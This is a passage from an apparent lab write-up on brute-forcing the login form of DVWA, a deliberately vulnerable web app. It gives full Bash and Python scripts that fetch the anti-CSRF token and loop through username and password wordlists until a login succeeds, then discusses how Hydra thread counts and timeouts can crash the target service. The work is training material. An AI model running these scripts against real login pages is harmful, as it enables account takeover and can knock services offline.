PASS_LIST="/usr/share/seclists/Passwords/rockyou.txt"

## Value to look for in response (Whitelisting)
SUCCESS="Location: index.php"

## Anti CSRF token
CSRF="$( curl -s -c /tmp/dvwa.cookie "${URL}/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"
[[ "$?" -ne 0 ]] && echo -e '\n[!] Issue connecting! #1' && exit 1

## Counter
i=0

## Password loop
while read -r _PASS; do

  ## Username loop
  while read -r _USER; do

    ## Increase counter
    ((i=i+1))

    ## Feedback for user
    echo "[i] Try ${i}: ${_USER} // ${_PASS}"

    ## Connect to server
    #CSRF=$( curl -s -c /tmp/dvwa.cookie "${URL}/login.php" | awk -F 'value=' '/user_token/ {print $2}' | awk -F "'" '{print $2}' )
    REQUEST="$( curl -s -i -b /tmp/dvwa.cookie --data "username=${_USER}&password=${_PASS}&user_token=${CSRF}&Login=Login" "${URL}/login.php" )"
    [[ $? -ne 0 ]] && echo -e '\n[!] Issue connecting! #2'

    ## Check response
    echo "${REQUEST}" | grep -q "${SUCCESS}"
    if [[ "$?" -eq 0 ]]; then
      ## Success!
      echo -e "\n\n[i] Found!"
      echo "[i] Username: ${_USER}"
      echo "[i] Password: ${_PASS}"
      break 2
    fi

  done < ${USER_LIST}
done < ${PASS_LIST}

## Clean up
rm -f /tmp/dvwa.cookie

Python Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python
# Quick PoC template for HTTP POST form brute force, with anti-CRSF token
# Target: DVWA v1.10
#   Date: 2015-10-19
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/login/

import requests
import sys
import re
from BeautifulSoup import BeautifulSoup


# Variables
target = 'http://192.168.1.33/DVWA'
user_list = '/usr/share/seclists/Usernames/top_shortlist.txt'
pass_list = '/usr/share/seclists/Passwords/rockyou.txt'


# Value to look for in response header (Whitelisting)
success = 'index.php'


# Get the anti-CSRF token
def csrf_token():
    try:
        # Make the request to the URL
        print "\n[i] URL: %s/login.php" % target
        r = requests.get("{0}/login.php".format(target), allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n[!] csrf_token: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Extract anti-CSRF token
    soup = BeautifulSoup(r.text)
    user_token = soup("input", {"name": "user_token"})[0]["value"]
    print "[i] user_token: %s" % user_token

    # Extract session information
    session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
    session_id = session_id.group(1)
    print "[i] session_id: %s\n" % session_id

    return session_id, user_token


# Make the request to-do the brute force
def url_request(username, password, session_id, user_token):
    # POST data
    data = {
        "username": username,
        "password": password,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id
    }

    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/vulnerabilities/brute/" % target
        #print "[i] Data: %s" % data
        #print "[i] Cookie: %s" % cookie
        r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Wasn't it a redirect?
    if r.status_code != 301 and r.status_code != 302:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # We have what we need
    return r.headers["Location"]


# Main brute force loop
def brute_force(user_token, session_id):
    # Load in wordlists files
    with open(pass_list) as password:
        password = password.readlines()
    with open(user_list) as username:
        username = username.readlines()

    # Counter
    i = 0

    # Loop around
    for PASS in password:
        for USER in username:
            USER = USER.rstrip('\n')
            PASS = PASS.rstrip('\n')

            # Increase counter
            i += 1

            # Feedback for the user
            print ("[i] Try %s: %s // %s" % (i, USER, PASS))

            # Fresh CSRF token each time?
            #user_token, session_id = csrf_token()

            # Make request
            attempt = url_request(USER, PASS, session_id, user_token)
            #print attempt

            # Check response
            if attempt == success:
                print ("\n\n[i] Found!")
                print "[i] Username: %s" % (USER)
                print "[i] Password: %s" % (PASS)
                return True
    return False


# Get initial CSRF token
session_id, user_token = csrf_token()


# Start brute forcing
brute_force(user_token, session_id)

Summary

Threads & Waiting

A few notes about the threads & waiting...

Brute forcing is slow. So there's a huge urge to increase the threads, and lower the wait count, so you can do more in less. However... doing too much can kill the service, or at times the box completely. There is no "magic number" as there are various factors in play, such as:

  • System resources of both attacker and target?
    • RAM? CPU?
    • Network speed (both up and down stream)
  • How many other people are using the target machine?
    • Port exhaustion?
  • What is the web application?
    • How many requests does it make to a database?
    • What functions does it perform on the page load (e.g. calculating what type of password hashes? Certain ones can be more demanding, therefore increases work load).

...and this is all before any brute force protection is in place (firewalls etc)!

As stated in the troubleshooting rambles section, I killed my target VM multiple times doing this, just by having the numbers "too high". The web server stopped working (aka DoS). Even though the CPU & RAM were not maxed out and the web server port was still open, Apache was still running. However, trying to access the web application had just stop working. Point being, even if on the surface it appears everything is up and running - it might not be the case.

The whole attack runs at the speed of the slowest point in the system.

This is one reason why there is not a "magic silver bullet" answer. Getting it right and the maximum performance, first time is rare =).


Web Service Response

Certain setups will behave differently if you push the attack over the line. Also the whole setup itself which is being pushed may have an effect.

For example, the server results for our target (Windows XP & Apache), depending on the amount of threads:

  • 1 thread - Windows XP & Apache would work normally
  • 2-15 threads, - if you were to try and access the web server, it would "forever load" (giving you just a white page and a progress bar).
  • 64 threads - increasing the threads to the maximum Hydra allows and straight away when trying to access any page on the remote server, the browser will report says "The page cannot be displayed".

Doing too much, may DoS the service. Due to how Hydra works it will not inform you if the service is still up and responding correctly (unless you enable verbose and watch for "timeouts"). By default Hydra will not report if the web service is responding "normally".


Low timeouts

Throughout this blog post, the timeout has been 1 second. Having it this low is not always smart. Hydra even displays a warning banner [WARNING] the waittime you set is low, this can result in erroneous results. It was set to be this low, because of the network connection (being local), as well as the lower thread count. It would not have done too much harm having it higher because normally it would not have reached the timeout value. You need to find the balance of threads vs wait time. Having one too high and the other too low will slow down the attack. What the value should be depends on various values that have been mentioned above.

If you increase the thread count too much, and the timeout value is not enough, there is a good chance valid requests will be dropped including when there was a successful login. This can be seen in the benchmark results. Towards when there were 16/32 threads it would have benefited from a higher timeout and cases when the password was not found.

On one hand, you do you want to be waiting 20 seconds for a thread that is "stuck" each time, on the other hand, having more threads will take the target longer to respond so the timeout value needs to be able to catch valid responses. In a perfect attack, the thread would not become stuck but there are lots of reasons why this could happen. It is a case of trial & error and a lot of waiting.


Speed

Looking at our Hydra command with -e -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt -e ns:

  • Total requests == (Number of user names * number of passwords) + (Number of usernames, due to empty passwords) + (Number of usernames, due to username as password)
  • Total requests == (11 * 500) + 11 + 11 = 5,522.

So if the maximum number is 5,522 and a single thread, which has a timeout of 10 seconds, it would take a maximum of 5,522 requests * 10 seconds = 15.3 hours to run through the complete list (if each of the threads reached the maximum timeout value). Now, the timeout value may never reach 10 seconds, but we need to allow for it. Also, there is a 50% chance it will be in the first half... Still, this is why brute forcing is slow, and why people want to increase the thread count...

Adding a wait in between each attempt of 1 second (-W 1), increases it to 16.8 hours (an extra 90 minutes), however, we are being "kinder" to the web server, so hopefully it will not crash (thus wasting everything). If the target does crash (or block), Hydra will not be aware of this and just keep on trying (so you could be waiting for nothing)...


Conclusion

There was a very slight different between setups (Windows vs Linux as well as Apache vs IIS vs Nginx). For the most part, the main brute force command was identical (only thing that required altering was the thread count).

The two main command line tools are either Hydra or Patator to-do the brute force, but they have their own limitations (covered more in this post). This was a straight forward HTTP web form brute force attack (the incorrect CSRF token system made it slightly harder and the redirect function often tricks people up). A straight forward brute force